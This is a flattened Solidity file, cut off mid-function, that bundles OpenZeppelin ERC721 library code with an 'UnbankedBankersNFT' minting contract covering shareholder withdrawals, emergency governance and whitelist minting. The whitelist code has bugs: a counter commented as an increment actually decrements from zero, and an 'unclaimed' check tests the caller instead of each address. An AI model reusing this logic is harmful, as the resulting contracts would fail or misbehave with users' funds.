* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract UnbankedBankersNFT is ERC721Enumerable, Ownable {
/*
Created by: Black Jesus
Reviewed and deployed by: Brainster
*/
constructor() payable ERC721("Unbanked Bankers NFT", "Bankers") {}
// Initialize SafeMath library for UINT
using SafeMath for uint256;
// Make sure you have enough you change this to mainnet Bankers Contract address before deploy
ERC721 bankers = ERC721(0x20d4DdB3d16aDdcA064b7126F4b3cEe5437d4194);
uint256 MINT_PER_MINT_PASS = 1;
// General NFT Variables
uint256 public maxTokens = 10000;
uint256 public tokensReservedForWhitelist = 336;
uint256 public tokensMintedForWhitelist = 0;
uint256 public tokensReservedForDutchAuction = 9565;
uint256 public tokensMintedForDutchAuction = 0;
uint256 public tokensReservedForReserved = 99;
uint256 public tokensMintedForReserved = 0;
string internal baseTokenURI;
string internal baseTokenURI_EXT;
event MintAsOwner(address indexed to, uint256 tokenId);
event MintWhitelist(address indexed to, uint256 tokenId);
event MintDutchAuction(address indexed to, uint256 price, uint256 tokenId);
event MintRolloverSale(address indexed to, uint256 tokenId);
// Modifiers
modifier onlySender() {
require(msg.sender == tx.origin, "No smart contracts!");
_;
}
// Contract Governance
mapping(address => bool) internal shareholderToUnlockGovernance;
address internal Shareholder_1 = 0xAB2c989e7eD65f558a2f5DF46968B82dC7Fa8F53;
address internal Shareholder_2 = 0x8173FAe402f05d62B8B5ccAAD09CA4EDFcBA3fb4;
address internal Shareholder_3 = 0x333e7e956FeA76dA56c6a2EA7DE97d0B043c54bb;
uint256 internal Shareholder_1_Share = 90;
uint256 internal Shareholder_2_Share = 1;
uint256 internal Shareholder_3_Share = 9;
// Receive Ether
event Received(address from, uint256 amount);
receive() external payable {
emit Received(msg.sender, msg.value);
}
// Withdraw Ether
function withdrawEther() public onlyOwner {
uint256 _totalETH = address(this).balance;
uint256 _Shareholder_1_ETH = ((_totalETH * Shareholder_1_Share) / 100);
uint256 _Shareholder_2_ETH = ((_totalETH * Shareholder_2_Share) / 100);
uint256 _Shareholder_3_ETH = ((_totalETH * Shareholder_3_Share) / 100);
payable(Shareholder_1).transfer(_Shareholder_1_ETH);
payable(Shareholder_2).transfer(_Shareholder_2_ETH);
payable(Shareholder_3).transfer(_Shareholder_3_ETH);
}
function viewWithdrawEtherAmounts()
public
view
onlyOwner
returns (uint256[] memory)
{
uint256 _totalETH = address(this).balance;
uint256[] memory _ethToSendArray = new uint256[](9);
uint256 _Shareholder_1_ETH = ((_totalETH * Shareholder_1_Share) / 100);
uint256 _Shareholder_2_ETH = ((_totalETH * Shareholder_2_Share) / 100);
uint256 _Shareholder_3_ETH = ((_totalETH * Shareholder_3_Share) / 100);
_ethToSendArray[0] = _Shareholder_1_ETH;
_ethToSendArray[1] = _Shareholder_2_ETH;
_ethToSendArray[2] = _Shareholder_3_ETH;
return _ethToSendArray;
}
// Emergency Withdraw -- Tested and working!
// Governance Functions
// It looks super hardcoded but I guess it's okay for something like this.
modifier onlyShareholder() {
require(
msg.sender == Shareholder_1 ||
msg.sender == Shareholder_2 ||
msg.sender == Shareholder_3,
"You are not a shareholder!"
);
_;
}
function unlockEmergencyFunctionAsShareholder() public onlyShareholder {
shareholderToUnlockGovernance[msg.sender] = true;
}
modifier emergencyOnly() {
require(
shareholderToUnlockGovernance[Shareholder_1] &&
shareholderToUnlockGovernance[Shareholder_2] &&
shareholderToUnlockGovernance[Shareholder_3],
"The emergency function has not been unlocked!"
);
_;
}
function emergencyWithdrawEther() public onlyOwner emergencyOnly {
payable(msg.sender).transfer(address(this).balance);
}
// Check Governance View function
function checkGovernanceStatus(address address_)
public
view
onlyShareholder
returns (bool)
{
return shareholderToUnlockGovernance[address_];
}
////////// Minting /////////////
// Owner Mint
function ownerMintMany(address address_, uint256 amount_) public onlyOwner {
require(
tokensReservedForReserved >= tokensMintedForReserved + amount_,
"No more reserved tokens!"
);
tokensMintedForReserved += amount_; // increment tokens minted for reserved
for (uint256 i = 0; i < amount_; i++) {
uint256 _mintId = totalSupply();
_mint(address_, _mintId);
emit MintAsOwner(address_, _mintId);
}
}
function ownerMint(address address_) public onlyOwner {
require(
tokensReservedForReserved > tokensMintedForReserved,
"No more reserved tokens!"
);
tokensMintedForReserved++; // increment tokens minted for reserved
uint256 _mintId = totalSupply();
_mint(address_, _mintId);
emit MintAsOwner(address_, _mintId);
}
// Whitelist Items
uint256 public addressesWhitelisted = 0; // tracker for whitelist amount
uint256 public whiteListPrice = 0 ether; // fixed price for whitelisted addresses
mapping(address => uint256) public addressToWhitelistQuota; // mapping for whitelist to quota
mapping(address => uint256) public addressToWhitelistMinted; // mapping for whitelist to minted
bool public whiteListMintEnabled;
modifier whiteListMint() {
require(whiteListMintEnabled, "Whitelist Mints are not enabled yet!");
_;
}
// Whitelist Functions
function setWhiteListMintStatus(bool bool_) public onlyOwner {
whiteListMintEnabled = bool_;
}
function addAddressToWhitelist(address[] memory addresses_)
public
onlyOwner
{
uint256 _amountOfAddresses = addresses_.length;
for (uint256 i = 0; i < _amountOfAddresses; i++) {
addressToWhitelistQuota[addresses_[i]] = 1; // record the whitelisted address and quota
}
addressesWhitelisted += _amountOfAddresses; // increase tracker by amount of whitelisted addreses
}
function checkWhitelistArrayIsUnique(address[] memory addresses_)
public
view
onlyOwner
returns (bool)
{
uint256 _amountOfAddresses = addresses_.length;
for (uint256 i = 0; i < _amountOfAddresses; i++) {
if (addressToWhitelistQuota[addresses_[i]] == 1) {
return false;
}
}
return true;
}
function checkWhitelistArrayIsAllUnclaimed(address[] memory addresses_)
public
view
onlyOwner
returns (bool)
{
uint256 _amountOfAddresses = addresses_.length;
for (uint256 i = 0; i < _amountOfAddresses; i++) {
if (addressToWhitelistMinted[msg.sender] != 0) {
return false;
}
}
return true;
}
function mintWhitelist() public payable onlySender whiteListMint {
require(
addressToWhitelistQuota[msg.sender] > 0,
"You are not whitelisted!"
);
require(
addressToWhitelistMinted[msg.sender] == 0,
"You have no more whitelist mints left!"
);
require(msg.value == whiteListPrice, "Invalid value sent!");
require(
tokensReservedForWhitelist > tokensMintedForWhitelist,
"No more whitelist tokens!"
);
require(maxTokens > totalSupply(), "No more tokens remaining!");
addressToWhitelistMinted[msg.sender]--; // increments the tracker so that they cannot mint again
tokensMintedForWhitelist++; // increments tracker of how many tokens have been minted from whitelist
uint256 _mintId = totalSupply();
_mint(msg.sender, _mintId);
emit MintWhitelist(msg.sender, _mintId);
}
// Merkle Tree Whitelisting
bytes32 public merkleRoot =
0x57c359b719e25852692060d2b4d8ce73ad9fea9406622eab2d3cb352cf46373c;
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
merkleRoot = merkleRoot_;
}
function isMerkleWhitelisted(bytes32[] memory proof_)
public
view
returns (bool)
{
bytes32 _leaf = keccak256(abi.encodePacked(msg.sender));
for (uint256 i = 0; i < proof_.length; i++) {
_leaf = _leaf < proof_[i]
? keccak256(abi.encodePacked(_leaf, proof_[i]))
: keccak256(abi.encodePacked(proof_[i], _leaf));
}
return _leaf == merkleRoot;
}
function mintWhitelistMerkleTree(bytes32[] memory proof_)
public
payable
onlySender
whiteListMint
{
require(isMerkleWhitelisted(proof_), "You are not whitelisted!");
require(
addressToWhitelistMinted[msg.sender] == 0,
"You have no more whitelist mints left!"
);
require(msg.value == whiteListPrice, "Invalid value sent!");
require(
tokensReservedForWhitelist > tokensMintedForWhitelist,
